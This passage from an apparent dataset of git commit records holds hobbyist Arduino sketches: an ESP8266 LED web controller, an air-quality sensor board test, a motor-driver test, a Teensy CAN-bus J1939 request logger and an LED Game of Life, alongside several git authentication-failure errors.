copy\n of this software and associated documentation files (the \"Software\"), to deal\n in the Software without restriction, including without limitation the rights\n to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n copies of the Software, and to permit persons to whom the Software is\n furnished to do so, subject to the following conditions:\n\n The above copyright notice and this permission notice shall be included in\n all copies or substantial portions of the Software.\n\n THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n THE SOFTWARE.\n\n \n CHANGELOG\n 2016-11-26 initial version\n \n*\/\n#include <ESP8266WiFi.h>\n#include <ESP8266WebServer.h>\n#include <WS2812FX.h>\n\n#include \"index.html.h\"\n#include \"main.js.h\"\n\n#define WIFI_SSID \"YOURSSID\"\n#define WIFI_PASSWORD \"YOURPASSWORD\"\n\n\/\/#define STATIC_IP \/\/ uncomment for static IP, set IP below\n#ifdef STATIC_IP\n IPAddress ip(192,168,0,123);\n IPAddress gateway(192,168,0,1);\n IPAddress subnet(255,255,255,0);\n#endif\n\n\/\/ QUICKFIX...See https:\/\/github.com\/esp8266\/Arduino\/issues\/263\n#define min(a,b) ((a)<(b)?(a):(b))\n#define max(a,b) ((a)>(b)?(a):(b))\n\n#define LED_PIN 2 \/\/ 0 = GPIO0, 2=GPIO2\n#define LED_COUNT 24\n\n#define WIFI_TIMEOUT 30000 \/\/ checks WiFi every ...ms. Reset after this time, if WiFi cannot reconnect.\n#define HTTP_PORT 80\n\n#define DEFAULT_COLOR 0xFF5900\n#define DEFAULT_BRIGHTNESS 255\n#define DEFAULT_SPEED 200\n#define DEFAULT_MODE FX_MODE_STATIC\n\n#define BRIGHTNESS_STEP 15 \/\/ in\/decrease brightness by this amount per click\n#define SPEED_STEP 10 \/\/ in\/decrease brightness by this amount per click\n\nunsigned long last_wifi_check_time = 0;\nString modes = \"\";\n\nWS2812FX ws2812fx = WS2812FX(LED_COUNT, LED_PIN, NEO_GRB + NEO_KHZ800);\nESP8266WebServer server = ESP8266WebServer(HTTP_PORT);\n\n\nvoid setup(){\n Serial.begin(115200);\n Serial.println();\n Serial.println();\n Serial.println(\"Starting...\");\n\n modes.reserve(5000);\n modes_setup();\n\n Serial.println(\"WS2812FX setup\");\n ws2812fx.init();\n ws2812fx.setMode(DEFAULT_MODE);\n ws2812fx.setColor(DEFAULT_COLOR);\n ws2812fx.setSpeed(DEFAULT_SPEED);\n ws2812fx.setBrightness(DEFAULT_BRIGHTNESS);\n ws2812fx.start();\n\n Serial.println(\"Wifi setup\");\n wifi_setup();\n \n Serial.println(\"HTTP server setup\");\n server.on(\"\/\", srv_handle_index_html);\n server.on(\"\/main.js\", srv_handle_main_js);\n server.on(\"\/modes\", srv_handle_modes);\n server.on(\"\/set\", srv_handle_set);\n server.onNotFound(srv_handle_not_found);\n server.begin();\n Serial.println(\"HTTP server started.\");\n\n Serial.println(\"ready!\");\n}\n\n\nvoid loop() {\n unsigned long now = millis();\n\n server.handleClient();\n ws2812fx.service();\n\n if(now - last_wifi_check_time > WIFI_TIMEOUT) {\n Serial.print(\"Checking WiFi... \");\n if(WiFi.status() != WL_CONNECTED) {\n Serial.println(\"WiFi connection lost. Reconnecting...\");\n wifi_setup();\n } else {\n Serial.println(\"OK\");\n }\n last_wifi_check_time = now;\n }\n}\n\n\n\n\/*\n * Connect to WiFi. If no connection is made within WIFI_TIMEOUT, ESP gets resettet.\n *\/\nvoid wifi_setup() {\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(WIFI_SSID);\n\n WiFi.begin(WIFI_SSID, WIFI_PASSWORD);\n WiFi.mode(WIFI_STA);\n #ifdef STATIC_IP \n WiFi.config(ip, gateway, subnet);\n #endif\n\n unsigned long connect_start = millis();\n while(WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n\n if(millis() - connect_start > WIFI_TIMEOUT) {\n Serial.println();\n Serial.print(\"Tried \");\n Serial.print(WIFI_TIMEOUT);\n Serial.print(\"ms. Resetting ESP now.\");\n ESP.reset();\n }\n }\n\n Serial.println(\"\");\n Serial.println(\"WiFi connected\"); \n Serial.print(\"IP address: \");\n Serial.println(WiFi.localIP());\n Serial.println();\n}\n\n\n\/*\n * Build <li> string for all modes.\n *\/\nvoid modes_setup() {\n modes = \"\";\n for(uint8_t i=0; i < ws2812fx.getModeCount(); i++) {\n modes += \"<li><a href='#' class='m' id='\";\n modes += i;\n modes += \"'>\";\n modes += ws2812fx.getModeName(i);\n modes += \"<\/a><\/li>\";\n }\n}\n\n\/* #####################################################\n# Webserver Functions\n##################################################### *\/\n\nvoid srv_handle_not_found() {\n server.send(404, \"text\/plain\", \"File Not Found\");\n}\n\nvoid srv_handle_index_html() {\n server.send_P(200,\"text\/html\", index_html);\n}\n\nvoid srv_handle_main_js() {\n server.send_P(200,\"application\/javascript\", main_js);\n}\n\nvoid srv_handle_modes() {\n server.send(200,\"text\/plain\", modes);\n}\n\nvoid srv_handle_set() {\n for (uint8_t i=0; i < server.args(); i++){\n if(server.argName(i) == \"c\") {\n uint32_t tmp = (uint32_t) strtol(&server.arg(i)[0], NULL, 16);\n if(tmp >= 0x000000 && tmp <= 0xFFFFFF) {\n ws2812fx.setColor(tmp);\n }\n }\n\n if(server.argName(i) == \"m\") {\n uint8_t tmp = (uint8_t) strtol(&server.arg(i)[0], NULL, 10);\n ws2812fx.setMode(tmp % ws2812fx.getModeCount());\n }\n\n if(server.argName(i) == \"b\") {\n if(server.arg(i)[0] == '-') {\n ws2812fx.decreaseBrightness(BRIGHTNESS_STEP);\n } else {\n ws2812fx.increaseBrightness(BRIGHTNESS_STEP);\n }\n }\n\n if(server.argName(i) == \"s\") {\n if(server.arg(i)[0] == '-') {\n ws2812fx.decreaseSpeed(SPEED_STEP);\n } else {\n ws2812fx.increaseSpeed(SPEED_STEP);\n }\n }\n }\n server.send(200, \"text\/plain\", \"OK\");\n}\n0\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'esp8266_webinterface.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"45fe9c430fdccf2832563fdb7690a39e4c177604","subject":"Sensor board v0.2 Arduino test code","message":"Sensor board v0.2 Arduino test code\n\nRead all data in serial monitor.\r\nUntested: TSL2561\r\nUntested: MAX4466","repos":"NationalAssociationOfRealtors\/IndoorAirQualitySensor","old_file":"SensorBoard\/SensorBoard.ino","new_file":"SensorBoard\/SensorBoard.ino","new_contents":"\/*\n Sensor Board v0.2\n Measures Temperature, Relative Humidity, Light intensity,\n Air pressure (and derived altitude), Sound intensity,\n concentrations of CO, NO2, VOC (derived) and CO2 (derived)\n\n Currently untested: TSL2561 light sensor code\n Currently untested: MAX4466 mic + amp code\n \n Designed at CRT Labs (July 2016)\n https:\/\/github.com\/NationalAssociationOfRealtors\/SensorBoard\n \n Modified: 6 September 2016\n by Akram Ali\n *\/\n\n\/\/ define libraries\n#include <Arduino.h>\n#include <Wire.h>\n#include \"Adafruit_SHT31.h\"\n#include \"SparkFunMPL3115A2.h\"\n#include <Adafruit_Sensor.h>\n#include <Adafruit_TSL2561_U.h>\n\n\/\/ define objects\nMPL3115A2 myPressure;\nAdafruit_SHT31 sht31 = Adafruit_SHT31();\nAdafruit_TSL2561_Unified tsl = Adafruit_TSL2561_Unified(TSL2561_ADDR_FLOAT, 12345);\n\n\/\/ define IAQ core global variables\n#define iaqaddress 0x5A\nuint16_t predict;\nuint8_t statu;\nint32_t resistance;\nuint16_t tvoc;\n\n\/\/ define MICS-4514 global variables\n#define PRE_PIN 8\n#define VNOX_PIN A0\n#define VRED_PIN A1\n#define PRE_HEAT_SECONDS 10\nint vnox_value = 0;\nint vred_value = 0;\n\n\/\/ define TSL2561 global variables\nlong lux;\n\nvoid setup()\n{\n Serial.begin(115200);\n Serial.println(\"Setup\");\n\n pinMode(9, OUTPUT); \/\/ pin 9 controls LED\n pinMode(5, OUTPUT); \/\/ pin 5 controls power to all sensors\n digitalWrite(5, HIGH); \/\/ turn all sensors on\n delay(10);\n\n pinMode(PRE_PIN, OUTPUT); \/\/ set preheater pin for mics4514 gas sensor\n Serial.print(\"MICS-4514 Preheating...\");\n \/\/ Wait for preheating\n digitalWrite(PRE_PIN, 1);\n delay(PRE_HEAT_SECONDS * 1000);\n digitalWrite(PRE_PIN, 0);\n Serial.println(\"Done\");\n \n}\n\n\/\/ the loop function runs over and over again forever\nvoid loop()\n{\n digitalWrite(9, HIGH); \/\/ turn the LED on (HIGH is the voltage level)\n delay(1000); \/\/ wait for a second\n digitalWrite(9, LOW); \/\/ turn the LED off by making the voltage LOW\n \n Serial.println(\"---------------------\");\n \n \/\/ MAX 4466 amp\n \/\/Serial.println(analogRead(A0)); \/\/ read sound levels\n \/\/Serial.println();\n\n\n \/\/ TSL2561 light sensor\n tsl.begin(); \n tsl.enableAutoRange(true);\n \/\/tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_13MS); \/* fast but low resolution *\/\n tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_101MS); \/* medium resolution and speed *\/\n \/\/ tsl.setIntegrationTime(TSL2561_INTEGRATIONTIME_402MS); \/* 16-bit data but slowest conversions *\/\n sensors_event_t event;\n tsl.getEvent(&event);\n if (event.light)\n lux = event.light;\n else\n lux = -1;\n Serial.print(\"Light intensity (lux): \");\n Serial.println(lux);\n \n \/\/ MICS 4514 CO\/NO2 gas sensor\n \/\/ Read analog values, print them out, and wait\n vnox_value = analogRead(VNOX_PIN);\n vred_value = analogRead(VRED_PIN);\n Serial.print(\"Vnox: \");\n Serial.print(vnox_value, DEC);\n Serial.print(\" Vred: \");\n Serial.println(vred_value, DEC);\n readCO();\n readNO2();\n\n \n \/\/ MPL3115A2 air pressure sensor\n myPressure.begin(); \/\/ Get pressure sensor online\n \/\/Configure the sensor\n \/\/myPressure.setModeAltimeter(); \/\/ Measure altitude above sea level in meters\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n \n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n delay(10);\n \n float pressure = myPressure.readPressure();\n Serial.print(\"MPL3115A2 Pressure(Pa): \");\n Serial.println(pressure, 2);\n\n float temperature = myPressure.readTempF();\n Serial.print(\"MPL3115A2 Temp(f): \");\n Serial.println(temperature, 2);\n\n \/\/const int station_elevation_ft = 5374; \/\/Must be obtained with a GPS unit\n \/\/float station_elevation_m = station_elevation_ft * 0.3048; \/\/I'm going to hard code this\n const int station_elevation_m = 1638; \/\/Accurate for the roof on my house\n \/\/1 pascal = 0.01 millibars\n pressure \/= 100; \/\/pressure is now in millibars\n\n float part1 = pressure - 0.3; \/\/Part 1 of formula\n \n const float part2 = 8.42288 \/ 100000.0;\n float part3 = pow((pressure - 0.3), 0.190284);\n float part4 = (float)station_elevation_m \/ part3;\n float part5 = (1.0 + (part2 * part4));\n float part6 = pow(part5, (1.0\/0.190284));\n float altimeter_setting_pressure_mb = part1 * part6; \/\/Output is now in adjusted millibars\n float baroin = altimeter_setting_pressure_mb * 0.02953;\n\n Serial.print(\"MPL3115A2 Altimeter setting InHg: \");\n Serial.println(baroin, 2);\n\n \n \/\/ SHT31 T\/RH sensor \n sht31.begin(0x44);\n Serial.print(\"SHT31 Temperature: \");\n Serial.println(sht31.readTemperature());\n Serial.print(\"SHT31 Humidity: \");\n Serial.println(sht31.readHumidity());\n \n\n \/\/ IAQ core\n Wire.requestFrom(iaqaddress, 9);\n predict = (Wire.read()<< 8 | Wire.read()); \n statu = Wire.read();\n resistance = (Wire.read()& 0x00)| (Wire.read()<<16)| (Wire.read()<<8| Wire.read());\n tvoc = (Wire.read()<<8 | Wire.read());\n checkStatus();\n \n Serial.print(\"CO2 concentration:\");\n Serial.println(predict);\n \/\/Serial.print(\"IAQ core Status: \");\n \/\/Serial.println(statu, HEX);\n Serial.print(\"IAQ core Resistance: \");\n Serial.println(resistance);\n Serial.print(\"TVoC concentration: \");\n Serial.println(tvoc);\n\n \n Serial.println();\n \n \/\/digitalWrite(5, LOW); \/\/ turn sensors off\n delay(5000);\n}\n\n\n\nvoid checkStatus()\n{\n if(statu == 0x10)\n {\n Serial.println(\"IAQ Core Warming up...\");\n }\n else if(statu == 0x00)\n {\n Serial.println(\"IAQ Core Ready\"); \n }\n else if(statu == 0x01)\n {\n Serial.println(\"IAQ Core Busy\"); \n }\n else if(statu == 0x80)\n {\n Serial.println(\"IAQ Core Error\"); \n }\n else\n Serial.println(\"No Status, check IAQ Core\"); \n}\n\n\n\nfloat readCO()\n{\n float adc = analogRead(VNOX_PIN);\n float Rs = 47000.0\/(1023.0\/adc);\n float R0 = 82000.0;\n float ratio = Rs\/R0;\n float concentration = ((-181.4)*log(ratio))-97.469;\n Serial.print(\"CO concentration (ppb): \");\n \/\/Serial.println(adc);\n \/\/Serial.println(Rs);\n \/\/Serial.println(R0);\n \/\/Serial.println(ratio);\n Serial.println(concentration);\n return concentration;\n}\n\nfloat readNO2()\n{\n float adc = analogRead(VRED_PIN);\n float Rs = 22000.0\/(1023.0\/adc);\n float R0 = 350.0;\n float ratio = Rs\/R0;\n float concentration = (124.28*log(ratio))-270.37;\n Serial.print(\"NO2 concentration (ppb): \");\n \/\/Serial.println(adc);\n \/\/Serial.println(Rs);\n \/\/Serial.println(R0);\n \/\/Serial.println(ratio);\n Serial.println(concentration);\n return concentration;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SensorBoard\/SensorBoard.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1895b2f309d987ad5d0d42a76c4f104cdc648c88","subject":"init just once","message":"init just once\n","repos":"timofonic\/keyboard","old_file":"musical\/serial_test\/sketch.ino","new_file":"musical\/serial_test\/sketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/timofonic\/keyboard.git\/'\n","license":"bsd-2-clause","lang":"Arduino"} {"commit":"31d5a41c304a91f5b6108acb64c3155760fe0591","subject":"Test unitaire driver moteur","message":"Test unitaire driver moteur\n","repos":"nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance,nsobczak\/CoupeDeFrance","old_file":"Asservissement\/TestDriver\/TestDriver1.0\/TestDriver1.0.ino","new_file":"Asservissement\/TestDriver\/TestDriver1.0\/TestDriver1.0.ino","new_contents":"const int PWM = 3;\nconst int IN1 = 4;\nconst int IN2 = 5;\nvoid setup() {\n pinMode(PWM,OUTPUT);\n pinMode(IN1,OUTPUT);\n pinMode(IN2,OUTPUT);\n\n}\n\nvoid loop() {\n digitalWrite(IN1,LOW);\n digitalWrite(IN2,LOW);\n analogWrite(PWM,1);\n delay(5000);\n digitalWrite(IN1,HIGH);\n digitalWrite(IN2,LOW);\n analogWrite(PWM,100);\n delay(10000);\n digitalWrite(IN1,LOW);\n digitalWrite(IN2,LOW);\n analogWrite(PWM,1);\n delay(5000);\n digitalWrite(IN1,LOW);\n digitalWrite(IN2,HIGH);\n analogWrite(PWM,1);\n delay(10000);\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Asservissement\/TestDriver\/TestDriver1.0\/TestDriver1.0.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"47eb6d924ca9cbc5f9e88f0bc7ffe892f49e3761","subject":"State machine working in combination with BT and Serial.","message":"State machine working in combination with BT and Serial.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"911dc4bfee01251cd5c4a28f083ea9992b8973b2","subject":"Removed unused code.","message":"Removed unused code.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"0a7253897f680169fbe738060cf079821ac232c1","subject":"Added Request Messages","message":"Added Request Messages\n\nAdded a sketch to request a list of PGNs every second.\n","repos":"jeremy-daily\/Teensy-Crash-EDR,jeremy-daily\/Teensy-Crash-EDR","old_file":"_04_Send_Request_Messages\/_04_Send_Request_Messages.ino","new_file":"_04_Send_Request_Messages\/_04_Send_Request_Messages.ino","new_contents":"\/\/Reading data from CAN and displaying it on a serial port\n\/\/Include the realtime clock functions inspired by the TimeTeensy3.ino example\n\/\/Add capability to send request messages\n\n\n\/\/Include the CAN libraries for the Teensy microprocessor\n#include <FlexCAN.h>\n#include <TimeLib.h>\n\nconst uint16_t PGNRequestList[28] = {\n 65261, \/\/ Cruise Control\/Vehicle Speed Setup\n 65214, \/\/ Electronic Engine Controller 4\n 65259, \/\/ Component Identification\n 65242, \/\/ Software Identification\n 65244, \/\/ Idle Operation\n 65260, \/\/ Vehicle Identification\n 65255, \/\/ Vehicle Hours\n 65253, \/\/ Engine Hours, Revolutions\n 65257, \/\/ Fuel Consumption (Liquid)\n 65256, \/\/ Vehicle Direction\/Speed\n 65254, \/\/ Time\/Date\n 65211, \/\/ Trip Fan Information\n 65210, \/\/ Trip Distance Information\n 65209, \/\/ Trip Fuel Information (Liquid)\n 65207, \/\/ Engine Speed\/Load Factor Information\n 65206, \/\/ Trip Vehicle Speed\/Cruise Distance Information\n 65205, \/\/ Trip Shutdown Information\n 65204, \/\/ Trip Time Information 1\n 65200, \/\/ Trip Time Information 2\n 65250, \/\/ Transmission Configuration\n 65253, \/\/ Engine Hours, Revolutions\n 65203, \/\/ Fuel Information (Liquid)\n 65201, \/\/ ECU History\n 65168, \/\/ Engine Torque History\n 64981, \/\/ Electronic Engine Controller 5\n 64978, \/\/ ECU Performance\n 64965, \/\/ ECU Identification Information\n 65165 \/\/ Vehicle Electrical Power #2\n};\n\nuint8_t pgnIndex = 0;\n\n\/\/Declare which pin is connected to the LED\n\/\/Use the Teensy Reference Card and the board schematics to determine the pin number\nconst int redLEDpin = 21;\n\n\/\/initiate the CAN library at 250kbps\nFlexCAN CANbus(250000);\n\n\/\/Set up the CAN data structure\nstatic CAN_message_t rxmsg;\nstatic CAN_message_t txmsg;\n\n\/\/set up a counter for each received message\nunsigned long int rxCount = 0;\n\n\/\/set up a timer to toggle the LEDs so the delay function isn't needed.\nelapsedMillis LEDtoggleTimer;\nelapsedMillis millisecondsPerSecond;\nelapsedMillis requestTimer;\n\nconst int millisBetweenRequests = 1000;\n\n\/\/Keep track of the LED state\nboolean ledState = true;\n\n\/\/set up a variable to keep track of the timestamp\ntime_t previousTime = 0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n \/\/ set the Time library to use Teensy 3.0's RTC to keep time\n setSyncProvider(getTeensy3Time);\n\n \/\/declare the LED Pin to be the output\n pinMode(redLEDpin,OUTPUT);\n digitalWrite(redLEDpin,ledState); \/\/Turn on the LED\n \n \/\/start the CAN access\n CANbus.begin();\n rxmsg.timeout = 0;\n txmsg.timeout = 0;\n txmsg.len = 3;\n txmsg.id = 0x18EA00F6;\n txmsg.ext = 1;\n \n \/\/try to wait for the Serial bus to come up for 1 second\n delay(1000);\n Serial.println(F(\"Teensy 3.2 CAN Receive Test.\"));\n \n \/\/Set System Time\n if (timeStatus()!= timeSet) {\n Serial.println(F(\"Unable to sync with the RTC\"));\n } \n else {\n Serial.println(F(\"RTC has set the system time\"));\n }\n \n \/\/print a header\n Serial.print(F(\" Count\\t micros\\tYYYY-MM-DD HH:MM:SS.ms\\t CAN ID\\tDLC\"));\n for (uint8_t i = 1; i<9;i++){ \/\/label the byte columns according to J1939\n char byteDigits[4]; \/\/declare a byte display array\n sprintf(byteDigits,\"\\tB%i\",i);\n Serial.print(byteDigits); \n }\n\n \/\/before entering the loop, set the previous time\n previousTime = now();\n \/\/synchronize the millisecondPerSecond timer\n while (now() - previousTime < 1){\n millisecondsPerSecond = 0;\n } \n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n \/\/check to see if the number of seconds has changed to reset the millisecond timer for each second\n if (now() - previousTime == 1){\n previousTime = now();\n millisecondsPerSecond = 0;\n }\n\n \/\/ Uncomment this to synchronize the RTC to your PC time.\n \/* if (Serial.available()) {\n time_t t = processSyncMessage();\n if (t != 0) {\n Teensy3Clock.set(t); \/\/ set the RTC\n setTime(t);\n }\n }\n *\/\n \n while(CANbus.read(rxmsg)){\n rxCount++;\n \n uint32_t ID = rxmsg.id;\n uint8_t len = rxmsg.len;\n \n char timeCountIDandDLCdigits[50]; \n sprintf(timeCountIDandDLCdigits,\"%10i\\t%10i\\t%04i-%02i-%02iT%02i:%02i:%02i.%03i\\t%08X\\t%1i\",rxCount,micros(),year(),month(),day(),hour(),minute(),second(),int(millisecondsPerSecond),ID,len);\n Serial.print(timeCountIDandDLCdigits); \n \n for (uint8_t i = 0; i<len;i++){ \n char byteDigits[4]; \n sprintf(byteDigits,\"\\t%02X\",rxmsg.buf[i]);\n Serial.print(byteDigits); \n }\n Serial.println();\n }\n \n if (LEDtoggleTimer >=100){\n LEDtoggleTimer = 0; \/\/reset the timer\n ledState = !ledState; \/\/ Toggle values\n digitalWrite(redLEDpin,ledState);\n }\n\n if (requestTimer >= millisBetweenRequests) {\n requestTimer = 0;\n uint16_t pgnToRequest = PGNRequestList[pgnIndex];\n pgnIndex++;\n if (pgnIndex > sizeof(PGNRequestList) ) pgnIndex = 0;\n\n txmsg.ext = 1;\n txmsg.id = 0x18EA00F9;\n txmsg.buf[0] = (pgnToRequest & 0x0000FF);\n txmsg.buf[1] = (pgnToRequest & 0x00FF00) >> 8 ;\n txmsg.buf[2] = (pgnToRequest & 0xFF0000) >> 16;\n txmsg.len = 3;\n CANbus.write(txmsg);\n }\n \n\n \n}\n\ntime_t getTeensy3Time(){\n return Teensy3Clock.get();\n}\n\n\n\n\/* code to process time sync messages from the serial port *\/\nunsigned long processSyncMessage() {\n unsigned long pctime = 0L;\n const unsigned long DEFAULT_TIME = 1357041600; \/\/ Jan 1 2013 \n\n if(Serial.find(\"T\")) {\n pctime = Serial.parseInt();\n return pctime;\n if( pctime < DEFAULT_TIME) { \/\/ check the value is a valid time (greater than Jan 1 2013)\n pctime = 0L; \/\/ return 0 to indicate that the time is not valid\n }\n }\n return pctime;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '_04_Send_Request_Messages\/_04_Send_Request_Messages.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"bbb2fa242964a164772bd0bb69ba70549afcd073","subject":"acceleration & velocity are integers for 5041","message":"acceleration & velocity are integers for 5041\n","repos":"trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone,trinamic\/T-Bone","old_file":"ArduinoClient\/TMC5041.ino","new_file":"ArduinoClient\/TMC5041.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/trinamic\/T-Bone.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"0d5cb617982a82b647786a6d6e2583993822f682","subject":"Working Game-of-Life (Conway)","message":"Working Game-of-Life (Conway)\n","repos":"padvinder95\/ledtafel","old_file":"GameOfLife\/GameOfLife.ino","new_file":"GameOfLife\/GameOfLife.ino","new_contents":"#include \"FastSPI_LED2.h\"\n\n\n#define LOOP_TIME 20\n#define UPDATE_TIME 1000\n\n#define ROWS 10\n#define COLS 10\n#define NUM_LEDS (ROWS*COLS)\n\n\/\/ Init\/define led arrays\nCRGB leds[NUM_LEDS]; \/\/current colours\nCRGB newleds[NUM_LEDS]; \/\/new colours\n\n\/\/ Return 0-based led index for 0-based x and y grid co-ordinate values\n\/\/ The LED string snakes through the grid, so every row the positive x direction switches\nuint8_t xy2i(uint8_t x, uint8_t y){\n if(y%2){\n \/\/ It's an uneven row: x should be reversed---or subtracted from this line's\n \/\/last index, which is the next line's first minus 1\n return (COLS*(y+1) - 1) - x;\n } else {\n \/\/ Even row: simply do COLS*y + x\n return COLS*y + x;\n }\n}\n\n\/\/ currently-alive cells\nboolean alive[ROWS][COLS];\n\/\/ cells alive in next step\nboolean next[ROWS][COLS];\n\nuint8_t getNeighbour(int8_t y, int8_t x){\n if( y<0 || y>=ROWS || x<0 || x>=COLS) return 0;\n if(alive[y][x]) return 1;\n return 0;\n}\n\nvoid GoLstep(){\n \/\/execute a GoL-step\n for(uint8_t y=0; y!=ROWS; ++y){\n for(uint8_t x=0; x!=COLS; ++x){\n \/\/ First reset the next array\n next[y][x] = false;\n \/\/ Then calculate number of neighbours (n)\n uint8_t n = 0;\n \/\/ loop through all neighbouring cells\n for(int8_t dy=-1; dy!=2; ++dy){\n for(int8_t dx=-1; dx!=2; ++dx){\n if( dx==0 && dy==0 ) continue; \/\/do not count itself\n n += getNeighbour((int8_t)y+dy,(int8_t)x+dx);\n }\n }\n \/\/ Make a decision based on number of alive neighbours\n if(n==3){\n \/\/ keeps living or is born next round\n next[y][x] = true;\n } else if(alive[y][x] && n==2){\n \/\/stays alive with 2 neighbours\n next[y][x] = true;\n }\n \/\/ All other cases: die or stay dead\n }\n }\n \/\/ Now copy next to current (alive)\n memcpy(alive,next,sizeof(next));\n \n \/\/ Finally, update the newleds array\n for(uint8_t y=0; y!=ROWS; ++y){\n for(uint8_t x=0; x!=COLS; ++x){\n if(alive[y][x]){\n newleds[xy2i(x,y)].setHSV(127, 255, 255);\n } else {\n newleds[xy2i(x,y)] = CRGB::Black;\n }\n }\n }\n}\n\nvoid sendColors(){\n \/\/ simple FO low-pass between newleds and leds\n for(uint8_t i_led=0; i_led!=NUM_LEDS; ++i_led)\n for(uint8_t i=0; i!=3; ++i)\n leds[i_led][i] = (uint8_t) (((uint16_t) leds[i_led][i]*19 + newleds[i_led][i])\/20);\n \n LEDS.show();\n}\n\n\n\nvoid setup(){\n LEDS.addLeds<WS2801, RGB>(leds, NUM_LEDS);\n \/\/ Limit the brightness somewhat (scale is 0-255)\n LEDS.setBrightness(127);\n \n \/\/ Initialise the leds to black (off)\n for(uint8_t i=0; i<NUM_LEDS; ++i){\n leds[i] = CRGB::Black;\n }\n LEDS.show();\n \n \/\/ seed initial cells\n randomSeed(analogRead(A0));\n for(uint8_t y=0; y!=ROWS; ++y){\n for(uint8_t x=0; x!=COLS; ++x){\n alive[y][x] = random(0,10)>5;\n }\n }\n}\n\n\nunsigned long lastLoopTime = 0;\nunsigned long lastUpdateTime = 0;\nvoid loop(){\n if(millis()-lastUpdateTime > UPDATE_TIME){\n GoLstep();\n lastUpdateTime = millis();\n }\n sendColors();\n \n while(millis()-lastLoopTime < LOOP_TIME){\n \/\/wait\n }\n lastLoopTime = millis();\n}\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'GameOfLife\/GameOfLife.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a921cfa741a10b7b4843dc399d186e7f2807c15","subject":"Separate object for the animation.","message":"Separate object for the animation.\n","repos":"daithiocrualaoich\/nightlight","old_file":"NightLight\/NightLight.ino","new_file":"NightLight\/NightLight.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/daithiocrualaoich\/nightlight.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"31f2bed0e00fb06c886783cbda6a990832d1851c","subject":"Initial LoRa test","message":"Initial LoRa test\n","repos":"theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar,theapi\/solar","old_file":"experiments\/lora_test\/lora_test.ino","new_file":"experiments\/lora_test\/lora_test.ino","new_contents":"\/**\n * ping-pong test by requesting an ACK from the gateway\n * \n * @link 